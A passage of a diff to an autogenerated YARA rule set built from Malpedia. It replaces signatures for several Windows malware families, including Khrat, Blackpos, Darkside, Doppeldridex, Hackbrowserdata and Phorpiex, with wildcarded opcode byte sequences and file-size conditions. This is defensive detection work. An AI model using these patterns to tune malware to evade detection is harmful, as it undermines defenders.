6b4b0428 6a04 } + $sequence_2 = { 85db 740f ff7760 53 ff7764 e8???????? 83c40c } + $sequence_3 = { eb0c 8b4508 8907 c7450800000000 8b4518 894710 8b4520 } + $sequence_4 = { f64605c0 7415 8d442420 68???????? 50 e8???????? ff44241c } + $sequence_5 = { e8???????? 8d4d8c 894314 e8???????? 8d4d9c e8???????? 8d4d94 } + $sequence_6 = { e8???????? b8???????? e9???????? 8d8d60feffff e9???????? 8d4da8 e9???????? } + $sequence_7 = { ff761c 50 e8???????? 83c410 8d4510 50 ff750c } + $sequence_8 = { 8b45d4 3bde 7507 8bc8 e8???????? 8a4d9f 33db } + $sequence_9 = { ff7304 8b4d0c ff73ec 6a2d 5a e8???????? 8943ec } condition: - 7 of them and filesize < 344064 + 7 of them and filesize < 2191360 } -rule MALPEDIA_Win_Khrat_Auto : FILE +rule MALPEDIA_Win_Vflooder_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d98fbdf3-9fe4-57f4-bc2e-25361c02b6b3" + id = "6da3af77-bf0c-5d0d-ad9f-8f035b957625" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.khrat_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vflooder_auto.yar#L1-L109" license_url = "N/A" - logic_hash = "f897e4b10c9d307944a08dbe843650aba78831f11c2fc81a4d9a80e6f47607a3" + logic_hash = "14b49a20a71548a980ead5d4f60898b254e57c1fbb273dc458944348b271a849" score = 75 quality = 75 tags = "FILE" @@ -117244,32 +117263,32 @@ rule MALPEDIA_Win_Khrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7415 ff35???????? e8???????? c705????????00000000 833d????????ff 7415 ff35???????? } - $sequence_1 = { 0fb64306 a3???????? 8d7307 56 68???????? e8???????? 6a00 } - $sequence_2 = { e8???????? eb0f 807b06ff 7509 8b4b07 51 e8???????? } - $sequence_3 = { 50 8d8500fcffff 50 6801000080 e8???????? } - $sequence_4 = { c6430500 c6430600 894307 8d7b0b } - $sequence_5 = { 66c746326500 66c746347700 66c746363a00 66c746380000 8db500feffff } - $sequence_6 = { 8d8500fcffff 50 e8???????? 6a00 51 8d8500fcffff 50 } - $sequence_7 = { e8???????? 0bc0 0f84da000000 d1e0 8985fcfbffff ffb5fcfbffff } - $sequence_8 = { c9 c3 55 8bec 81c490fbffff } - $sequence_9 = { c9 c3 55 8bec 81c4f8fbffff 8d9d00fcffff } + $sequence_0 = { 9c ff742404 8f4500 9c 60 } + $sequence_1 = { b02e f5 f2ae e8???????? } + $sequence_2 = { 0000 43 7265 61 } + $sequence_3 = { e8???????? 0000 43 7265 } + $sequence_4 = { e8???????? 0000 43 7265 61 7465 } + $sequence_5 = { 9c ff742404 8f4500 9c } + $sequence_6 = { e8???????? 0000 43 7265 61 } + $sequence_7 = { f5 83ef04 f5 ff37 } + $sequence_8 = { 9c f2ae 9c 9c } + $sequence_9 = { 9c 60 9c 9c 8d642430 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 860160 } -rule MALPEDIA_Win_Blackpos_Auto : FILE +rule MALPEDIA_Win_Predator_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a3030926-9034-5a42-987b-de9e78e9dde5" + id = "0d522826-628f-52a1-a5d4-de369cb17f76" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackpos_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.predator_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "c4a32b4f82fccb65e36ace8eee5711333479f2ae865afb2d6f3c995c606d80a9" + logic_hash = "226e996f5790709cd601960ccd073047c3c37841c157b9e9145c03fdc70dc2d7" score = 75 quality = 75 tags = "FILE" @@ -117283,32 +117302,32 @@ rule MALPEDIA_Win_Blackpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8d85d0fcffff 50 56 ff15???????? } - $sequence_1 = { 837e1400 0f8e94010000 83a5f8fffdff00 8b7e08 83661400 } - $sequence_2 = { 8d7de0 f3a5 a4 be00020000 } - $sequence_3 = { 8365bc00 8365c000 8945b4 8d45b4 50 } - $sequence_4 = { 53 50 889db8fcffff e8???????? 57 68???????? } - $sequence_5 = { f7f9 8b4dfc 5f 5e 5b 8bc2 } - $sequence_6 = { 8a843dfefffdff 3ac1 7211 3c3a } - $sequence_7 = { 803e00 7522 8d041f 6a01 8d8405e5fbffff 50 56 } - $sequence_8 = { 8bc8 83e01f c1f905 c1e006 03048d60c45800 eb02 8bc2 } - $sequence_9 = { 899dbcfaffff c785c0faffffa0bb0d00 c785c4faffff90854100 ffd7 8d85c4faffff 50 } + $sequence_0 = { 56 8bf1 8d4dfd 57 6a0a } + $sequence_1 = { 395dec 7508 83c8ff e9???????? ff75ec e8???????? } + $sequence_2 = { 50 8bcf e8???????? e9???????? 0f2805???????? } + $sequence_3 = { 7316 8a440dc7 32c2 88440dc7 41 } + $sequence_4 = { 83c8ff e9???????? ff75ec e8???????? 59 8bf0 } + $sequence_5 = { 0fa2 8906 895e04 894e08 89560c 834dfcff 8b4df4 } + $sequence_6 = { 8b00 57 03c2 8bce 50 e8???????? 5f } + $sequence_7 = { 8906 895e04 894e08 89560c 834dfcff 8b4df4 } + $sequence_8 = { 395dec 7508 83c8ff e9???????? ff75ec e8???????? 59 } + $sequence_9 = { ff750c 8bf1 8d4dfd ff7508 } condition: - 7 of them and filesize < 3293184 + 7 of them and filesize < 2211840 } -rule MALPEDIA_Win_Cova_Auto : FILE +rule MALPEDIA_Win_Hackbrowserdata_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d9a7c58b-e153-5509-9dd6-42fb3c64fb6e" + id = "fcd73865-5a53-59f1-9e25-a98b05a9abde" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cova" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cova_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hackbrowserdata" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hackbrowserdata_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "6df5413ed9281b7c21331e877b1103faf7f6d9e2e13d53e94329d8c943fa063c" + logic_hash = "3594c5bb7e78e08e9a84a6093ffe67652863ced1d7b7424d638f7eb8af56002c" score = 75 quality = 75 tags = "FILE" @@ -117322,34 +117341,34 @@ rule MALPEDIA_Win_Cova_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 813bc8000000 7577 488d4d88 ff9598000000 488d4d80 8bf0 b81f85eb51 } - $sequence_1 = { 4c8d8d70120000 4c8d8560010000 4889542430 488d95e0000000 } - $sequence_2 = { 488d442440 4889442428 488d0518a30000 4889442420 4c8b4c2450 4c8b442458 } - $sequence_3 = { 488d8d00150000 ff55b0 448d4e08 4c8d442470 8d1400 488d8d00150000 ff5550 } - $sequence_4 = { 41b806000000 488d158e680000 483950f0 740c 488b10 4885d2 } - $sequence_5 = { 33d2 33c9 ff5778 488bd8 4885c0 741f ba20bf0200 } - $sequence_6 = { 57 4883ec20 488d1ddf5e0000 bf0a000000 } - $sequence_7 = { 7d08 8d4a30 418808 eb06 } - $sequence_8 = { 4885c9 741c f0ff09 7517 488d05bf830000 } - $sequence_9 = { ba20bf0200 488bc8 ff5720 3d80000000 742a } + $sequence_0 = { ffc1 4d89ea 4d89fc 4989fd 4d89e7 41394c2428 0f8e0dfaffff } + $sequence_1 = { f20f1005???????? 31db 49c7c0ffffffff eb3d 48890437 488bb424a0000000 4883c618 } + $sequence_2 = { e8???????? 488b542450 48895008 833d????????00 750a 488b9424d8000000 eb10 } + $sequence_3 = { e8???????? e9???????? 488b1d???????? 4881c368960000 488b442478 488b4c2448 e8???????? } + $sequence_4 = { ffd3 833d????????00 7507 488b742408 eb15 e8???????? 498903 } + $sequence_5 = { e9???????? 488d4f54 4889ca 0fb619 ffcb 8819 480fbe0a } + $sequence_6 = { f20f59d8 f20f581d???????? f20f59d8 f20f581d???????? f20f59d8 f20f581d???????? f20f59d9 } + $sequence_7 = { ffc1 39d1 7d5d 4889f7 488b7640 4c63c1 4a8d34c6 } + $sequence_8 = { eb13 4883c420 5d c3 48bfffffffffffff0300 4989da 4585c0 } + $sequence_9 = { e8???????? 498913 48895018 488b942480000000 488b5c2470 4889f9 4c89c7 } condition: - 7 of them and filesize < 123904 + 7 of them and filesize < 42451968 } -rule MALPEDIA_Win_Hyperssl_Auto : FILE +rule MALPEDIA_Win_Contopee_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6f22636e-fb9b-5862-8e11-c3c097a8328b" + id = "271fdd0d-6160-55c0-9abb-0c6806deb383" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hyperssl_auto.yar#L1-L220" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.contopee_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "373cb8242b6edc99bdda77d7fa35bccbbf94de7d502bb63cf5e16d60e54a0b5d" + logic_hash = "0ddd8fa512c666b7cb8e2d0e6704c228e8798333540020ddb32d384a50fcb44c" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -117361,46 +117380,32 @@ rule MALPEDIA_Win_Hyperssl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 742a 8b4028 03c1 7423 56 57 b9???????? } - $sequence_1 = { 40 4f 75f2 5f 5e e9???????? } - $sequence_2 = { 0108 8b4830 3308 56 } - $sequence_3 = { 0101 014514 2bf3 8b5d0c c7472400000000 } - $sequence_4 = { 0108 3908 1bc9 f7d9 } - $sequence_5 = { e8???????? 33c0 40 5d c20c00 6a08 } - $sequence_6 = { 5d c20c00 6a08 68???????? e8???????? 8b450c } - $sequence_7 = { 8bc8 85c9 7436 8b413c 03c1 } - $sequence_8 = { 0105???????? 8d8d5cffffff 89855cffffff 898560ffffff } - $sequence_9 = { 5e e9???????? c3 55 8bec } - $sequence_10 = { 0108 894810 8b4830 3308 } - $sequence_11 = { 8a10 301401 8a10 301406 40 4f } - $sequence_12 = { 2bc8 2bf0 5f 8a10 } - $sequence_13 = { 0108 3310 c1c607 c1c210 } - $sequence_14 = { 0105???????? 8d558c 89458c 894590 } - $sequence_15 = { 33c9 46 2bc3 8944240c 8b5c241c 8d440c2c 0fb61c03 } - $sequence_16 = { 017e0c 8d4d08 e8???????? 5f } - $sequence_17 = { 01442428 8b442428 884500 45 } - $sequence_18 = { 016b08 897b04 5f 5e } - $sequence_19 = { 017e0c 395e10 740f ff7610 } - $sequence_20 = { 011d???????? 5f 8935???????? 5e } - $sequence_21 = { 017e0c 5f 8bc6 5e c20800 } - $sequence_22 = { 017e08 50 e8???????? ff0d???????? } - $sequence_23 = { 017e08 8bc3 e8???????? c20400 } + $sequence_0 = { 8b35???????? 8d4c2414 6a5c 51 } + $sequence_1 = { 8d4c2414 6a5c 51 ffd6 83c410 85c0 7411 } + $sequence_2 = { 84c0 752f a0???????? 84c0 7409 } + $sequence_3 = { c1ea18 33c3 8b1c9530ea0010 33c3 8b1c8d30f60010 33c3 } + $sequence_4 = { c3 68b80b0000 ff15???????? e8???????? 8bd8 85db 0f8514010000 } + $sequence_5 = { c1e807 33d2 8a9094130110 8bc2 66ff848688090000 8b869c160000 8b96a0160000 } + $sequence_6 = { 668b88780a0110 898a8c000000 33c9 668b887c0a0110 898a90000000 33c9 668b887e0a0110 } + $sequence_7 = { 5b 81c418010000 c3 56 68???????? 6a00 } + $sequence_8 = { 7563 8b4c2410 8d442400 56 50 8d1409 8b4c2414 } + $sequence_9 = { b980000000 33c0 8d7c241c 6a1e } condition: - 7 of them and filesize < 835584 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Cryptoshield_Auto : FILE +rule MALPEDIA_Win_8T_Dropper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f09fd893-35c5-517a-95b1-96dc5c00c268" + id = "35feb768-d2e4-5049-96a0-91c968df3b4f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoshield_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.8t_dropper_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "41afb8e592a261d954078e9828ef943fd5cdbb4b8df8a3f944658b648d1f2323" + logic_hash = "feebe835113f0d32e29c6ca8b7fd1bfa62958e168ff440bb0def00a1fd456e8d" score = 75 quality = 75 tags = "FILE" @@ -117414,32 +117419,32 @@ rule MALPEDIA_Win_Cryptoshield_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7405 83f804 751a e8???????? } - $sequence_1 = { ff15???????? 83c40c 8d85b0edffff 50 683f020f00 } - $sequence_2 = { 75cb 66833a00 8bfa 744d 8d4900 } - $sequence_3 = { 6a00 8d85e8fbffff 50 6a01 68???????? 56 ff15???????? } - $sequence_4 = { 8d85c4f1ffff 68???????? 50 ffd3 } - $sequence_5 = { 50 ffd7 8b45f0 85c0 7506 } - $sequence_6 = { 0f84a6000000 8d45fc 50 6a01 ff75f8 6810660000 } - $sequence_7 = { 6a00 ffd3 85c0 0f84bb000000 6804010000 } - $sequence_8 = { ff15???????? c745fc00000000 85f6 7407 56 ff15???????? 85ff } - $sequence_9 = { 0fb7c0 50 8d45f4 68???????? 50 ffd6 83c40c } + $sequence_0 = { c644240c00 f3ab 66ab aa bf???????? 83c9ff } + $sequence_1 = { 8d4c2408 51 683f000f00 50 52 6801000080 } + $sequence_2 = { 8bf0 83c408 85f6 741b 56 6800700000 6a01 } + $sequence_3 = { c6440c0d75 c6440c0e6e 8d4c2408 51 683f000f00 50 52 } + $sequence_4 = { 85c0 7559 8b4c2408 51 ff15???????? 8d942410010000 6804010000 } + $sequence_5 = { 8b442418 68???????? 50 ff15???????? 85c0 7559 8b4c2408 } + $sequence_6 = { 7559 8b4c2408 51 ff15???????? 8d942410010000 } + $sequence_7 = { c6440c0e6e 8d4c2408 51 683f000f00 50 } + $sequence_8 = { 51 ff15???????? 8d942410010000 6804010000 } + $sequence_9 = { f7d1 49 c6440c0c52 c6440c0d75 c6440c0e6e 8d4c2408 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Go_Red_Auto : FILE +rule MALPEDIA_Win_Darkside_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "349c73e1-95b2-5589-863e-7a8d953d6a5e" + id = "aefc41a3-b8c0-5b26-a4f2-4bd0717ef6d0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.go_red" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.go_red_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkside_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "f8574b8fe29715ba2701e58cba52ed611bfc6971c882e6ec12a4906afec7293e" + logic_hash = "19da14f3a366acd3b23a4b82b0e78c008b7088d377404cdf8c0d0057a334f0f7" score = 75 quality = 75 tags = "FILE" @@ -117453,32 +117458,32 @@ rule MALPEDIA_Win_Go_Red_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 84c0 740a 488b7c2470 e9???????? 488b7c2470 488b5748 } - $sequence_1 = { eb0a 488b7c2450 e8???????? 488b542470 4c8b442468 4c8b4c2438 488b5228 } - $sequence_2 = { e8???????? 488b6d00 488d0526777d00 4889cb 0f1f00 e8???????? 4889442470 } - $sequence_3 = { e8???????? 48c7400802000000 48c7401002000000 833d????????00 750d 488b8c24c02f0000 488908 } - $sequence_4 = { eb11 4889c7 488b8c24001c0000 90 e8???????? 488d0554889f00 e8???????? } - $sequence_5 = { e8???????? 488b942498000000 488bb424b0000000 4989c1 b901000000 41b801000000 488b442458 } - $sequence_6 = { e8???????? 4c89d8 e8???????? 4889f8 4c89d9 e8???????? 4c89c0 } - $sequence_7 = { eb1c 488d7802 4839f9 7c18 4839c1 0f86a8020000 0fb63c02 } - $sequence_8 = { e8???????? 488d05da7f9e00 e8???????? 4889842458060000 48b9211f0000b9030000 488908 488b9c24481a0000 } - $sequence_9 = { e8???????? 488d0521e7a701 bb14000000 e8???????? 90 4889442408 895c2410 } + $sequence_0 = { 59 5b 5d c20800 55 8bec 53 } + $sequence_1 = { 895c0e04 893c0e 81ea10101010 2d10101010 81eb10101010 81ef10101010 } + $sequence_2 = { 75d2 5f 5e 5a 59 } + $sequence_3 = { 8b4508 8b10 8b5804 8b7808 8b400c 89540e0c 89440e08 } + $sequence_4 = { be???????? 8b4508 8b10 8b5804 8b7808 8b400c } + $sequence_5 = { b9f0000000 be???????? 8b4508 8b10 } + $sequence_6 = { e8???????? 5f 5e 5a 59 5b 5d } + $sequence_7 = { 85c0 7418 8bd8 68ff000000 57 } + $sequence_8 = { 57 e8???????? 81c7ff000000 4b 85db 75ea } + $sequence_9 = { 75da eb06 33db fec1 75d2 5f 5e } condition: - 7 of them and filesize < 85566464 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Credraptor_Auto : FILE +rule MALPEDIA_Win_Fatduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "38da88b1-241e-5356-be41-ccd7d9b62617" + id = "adb8db95-b0a4-5276-93ef-e2fa83c10075" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.credraptor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.credraptor_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fatduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fatduke_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "0cde833c9a51e3ab99821592757d4fd144febcb8863fef5eac3bf6a67840a9e9" + logic_hash = "e52f36e4d51bd81125ac15c50f357b773a2dec05d6d491e80497ca4c3e0bf041" score = 75 quality = 75 tags = "FILE" @@ -117492,32 +117497,32 @@ rule MALPEDIA_Win_Credraptor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4720 83c40c 837e4000 89558c 8945c0 894db8 0f85c9120000 } - $sequence_1 = { e8???????? 83c40c e9???????? 837f3000 7415 8b5508 52 } - $sequence_2 = { e8???????? 83c404 8b5dfc 5e 8b4d0c 51 8bc3 } - $sequence_3 = { e9???????? a802 7508 83c8ff e9???????? 8b45f0 85c0 } - $sequence_4 = { c6043b25 03da ddd9 ddd8 8b4d94 41 803900 } - $sequence_5 = { c745dc377f0682 c745e0002de218 884de9 8855ea 8845eb 3bc7 750e } - $sequence_6 = { c70353000000 b802000000 5b 5d c3 83f83e 7510 } - $sequence_7 = { be???????? 8d4ddc 8a01 3a06 751a 84c0 7412 } - $sequence_8 = { c1f812 0cf0 0fb6c8 51 8bce e8???????? 8bd3 } - $sequence_9 = { e8???????? ff45e4 83c404 83c318 8945f0 85c0 74e0 } + $sequence_0 = { e8???????? 83c404 c7451c07000000 c7451800000000 33c0 66894508 c745fcffffffff } + $sequence_1 = { e8???????? c745fc00000000 33c0 8b4d08 c706???????? f6c101 7505 } + $sequence_2 = { 8b4004 8a540840 8855ee 8b4c0838 8b4120 833800 7423 } + $sequence_3 = { c784248800000000000000 c784248c00000000000000 c784248c0000000f000000 c784248800000000000000 c644247800 803a00 7504 } + $sequence_4 = { a1???????? 33c4 50 8d442430 64a300000000 8bf1 ff74240c } + $sequence_5 = { 8b450c 8901 8bc1 8b4df4 64890d00000000 59 5f } + $sequence_6 = { c745e000000000 8d45b4 50 8d45e0 50 6a01 8d45e8 } + $sequence_7 = { e9???????? 8b4df0 81c104030000 e9???????? 8b4df0 81c11c030000 e9???????? } + $sequence_8 = { c745fc00000000 8b450c 894114 8b4510 894118 8b4514 89411c } + $sequence_9 = { 8d45d8 50 8d5508 8d4dc0 e8???????? 83c404 c645fc02 } condition: - 7 of them and filesize < 1728512 + 7 of them and filesize < 9012224 } -rule MALPEDIA_Win_Coronavirus_Ransomware_Auto : FILE +rule MALPEDIA_Win_Doppeldridex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6151d4f1-97cc-5312-ae6b-4a65c017356c" + id = "daa7948f-1af7-5dc7-b72c-52142db6eff9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coronavirus_ransomware_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doppeldridex_auto.yar#L1-L180" license_url = "N/A" - logic_hash = "12ada14137bab3268f52ca487b70dc117c439c16c715b2ea437f3cb7436cd1a9" + logic_hash = "c03ed87815d6a97d4f986f8009113427e6594093f0809ec3f0f49a2c2120349d" score = 75 quality = 75 tags = "FILE" @@ -117531,34 +117536,40 @@ rule MALPEDIA_Win_Coronavirus_Ransomware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7dbc 2bfb 1bc6 8945d0 8b4dc8 8d140b } - $sequence_1 = { 83c404 85f6 746a 803e00 7465 33c0 33d2 } - $sequence_2 = { 8b35???????? 83c404 85f6 746a 803e00 } - $sequence_3 = { 90 8b55ec 8b45f0 6a00 b9???????? 81e9???????? } - $sequence_4 = { e8???????? 83c404 6a00 6a00 0fb60d???????? 8b148d78954100 52 } - $sequence_5 = { 33f6 56 56 6a03 56 6a03 56 } - $sequence_6 = { ffd0 6800200000 8d85f8deffff 50 ff15???????? } - $sequence_7 = { 85db 0f84cd010000 c745fc01000000 8975e4 } - $sequence_8 = { b8???????? e8???????? 8d4df0 51 8d55a0 52 } - $sequence_9 = { ff15???????? 8b35???????? 83c418 68???????? ffd6 68???????? ffd6 } + $sequence_0 = { 8bf0 33c0 48 8bfe 8bda 2bf8 2bd8 } + $sequence_1 = { e8???????? e9???????? 55 83ec68 33d2 42 } + $sequence_2 = { 8b74243c 6a30 8b2f 56 8d4c2408 c6450000 e8???????? } + $sequence_3 = { 6880000000 ffb4249c010000 ffb424b4010000 ffb42498000000 56 8d4c2428 8d91e0000000 } + $sequence_4 = { 33c0 48 2bc8 2bd0 0bca 0f84b1000000 8d9424a4010000 } + $sequence_5 = { 8b02 40 8902 83f80a 0f85fefdffff e9???????? c784249000000000000000 } + $sequence_6 = { ff742410 50 6a00 52 ff742428 } + $sequence_7 = { 2bf8 2bd8 0bfb 0f8443030000 8d942490000000 8b02 } + $sequence_8 = { eb2b 31c0 8b4d88 83c104 } + $sequence_9 = { 0f92c4 8a6db3 20cd 20e5 f6c501 8955b4 7518 } + $sequence_10 = { 8b458c 8944240c 8b55a4 ffd2 83ec10 } + $sequence_11 = { 894de4 e8???????? 83f800 8945e0 74c2 } + $sequence_12 = { e8???????? 31c0 8945e8 eb51 31c0 } + $sequence_13 = { 01de 8b06 8bb550ffffff 8b5e08 8b4da8 01f9 890c24 } + $sequence_14 = { 6683ff00 89d3 8945b8 8955d0 8975d4 895ddc } + $sequence_15 = { 8b4df0 39c8 8945dc 72d2 ebb6 55 89e5 } condition: - 7 of them and filesize < 235520 + 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Gsecdump_Auto : FILE +rule MALPEDIA_Win_Phorpiex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2dfd4f44-5170-5305-aab8-b4eb041699cc" + id = "9ce70e39-752b-5d3f-89f2-76accce1eb4a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gsecdump_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phorpiex_auto.yar#L1-L274" license_url = "N/A" - logic_hash = "c92dc71f6df6f2ca655d1d4b5083e376ffdf96fc42dec3e3018507005bdeaa61" + logic_hash = "46ea47179a9ad601c3537e5e9a3e48103f2b8131777a3f05f545f317a9791487" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -117570,32 +117581,52 @@ rule MALPEDIA_Win_Gsecdump_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8b742408 85f6 57 8bf9 7505 bef7030000 } - $sequence_1 = { e8???????? 6aff 53 8d4c2430 51 8bce e8???????? } - $sequence_2 = { 720d 8b542430 52 e8???????? 83c404 8bc6 8b4c2448 } - $sequence_3 = { 8bef 83c701 eba4 8b4e24 3bca 740c } - $sequence_4 = { 7422 8b4c2440 51 8b4c2428 8d542420 52 51 } - $sequence_5 = { 8db424c0000000 89742424 896c2428 8bc2 7307 8d8424c4000000 } - $sequence_6 = { 50 895c241c e8???????? 8b4c2464 8b542468 8b44246c 894e44 } - $sequence_7 = { 50 8b8de8f7ffff 8b5110 ffd2 81c49c000000 85c0 7d0c } - $sequence_8 = { e8???????? 33c0 e9???????? 6a06 68???????? 8d4dd4 c745ec0f000000 } - $sequence_9 = { 83f8ff 7409 8b74246c eb03 8d7004 56 8d4c2418 } + $sequence_0 = { 6a00 ff15???????? ff15???????? 50 e8???????? } + $sequence_1 = { ff15???????? 85c0 740f 6a07 } + $sequence_2 = { ff15???????? 85c0 741f 6880000000 } + $sequence_3 = { 6a00 6a20 6a00 6a00 6a00 8b5508 } + $sequence_4 = { e8???????? 83c410 6a00 6a02 6a02 6a00 } + $sequence_5 = { 6a01 6a00 68???????? e8???????? 83c40c 33c0 } + $sequence_6 = { e8???????? 99 b90d000000 f7f9 } + $sequence_7 = { 50 e8???????? 83c404 e8???????? e8???????? ff15???????? } + $sequence_8 = { 68???????? ff15???????? 8d85f8fdffff 50 68???????? } + $sequence_9 = { 6a00 ff15???????? 85c0 7418 ff15???????? } + $sequence_10 = { 6a01 ff15???????? ff15???????? b001 } + $sequence_11 = { 6a00 682a800000 6a00 ff15???????? } + $sequence_12 = { 52 683f000f00 6a00 68???????? 6802000080 ff15???????? 85c0 } + $sequence_13 = { 7416 8b4df8 51 ff15???????? 8b55fc 52 e8???????? } + $sequence_14 = { f7f9 81c210270000 52 e8???????? } + $sequence_15 = { 85c0 752b 8b8510ffffff 83c001 } + $sequence_16 = { 6a01 ff15???????? 8945f8 837df800 7429 8b45f8 } + $sequence_17 = { 68???????? ff15???????? e9???????? 8d45fc } + $sequence_18 = { 50 e8???????? 59 59 85c0 7573 } + $sequence_19 = { 3d00010000 7504 83c8ff c3 } + $sequence_20 = { 7508 6a00 ff15???????? 6804010000 } + $sequence_21 = { 6a21 50 e8???????? c60000 } + $sequence_22 = { 52 e8???????? 99 b960ea0000 f7f9 } + $sequence_23 = { 56 ff15???????? b001 5e 81c408020000 } + $sequence_24 = { 68???????? 8d942410010000 6804010000 52 e8???????? } + $sequence_25 = { 40 84c9 75f9 8b0cb3 2bc2 50 } + $sequence_26 = { 41 663bc2 72f7 53 33c0 } + $sequence_27 = { 56 57 68e8030000 ff15???????? e8???????? be???????? } + $sequence_28 = { 50 8d45ec 50 6805000020 } + $sequence_29 = { 8d45f8 50 8d45e4 50 6805000020 } condition: - 7 of them and filesize < 630784 + 7 of them and filesize < 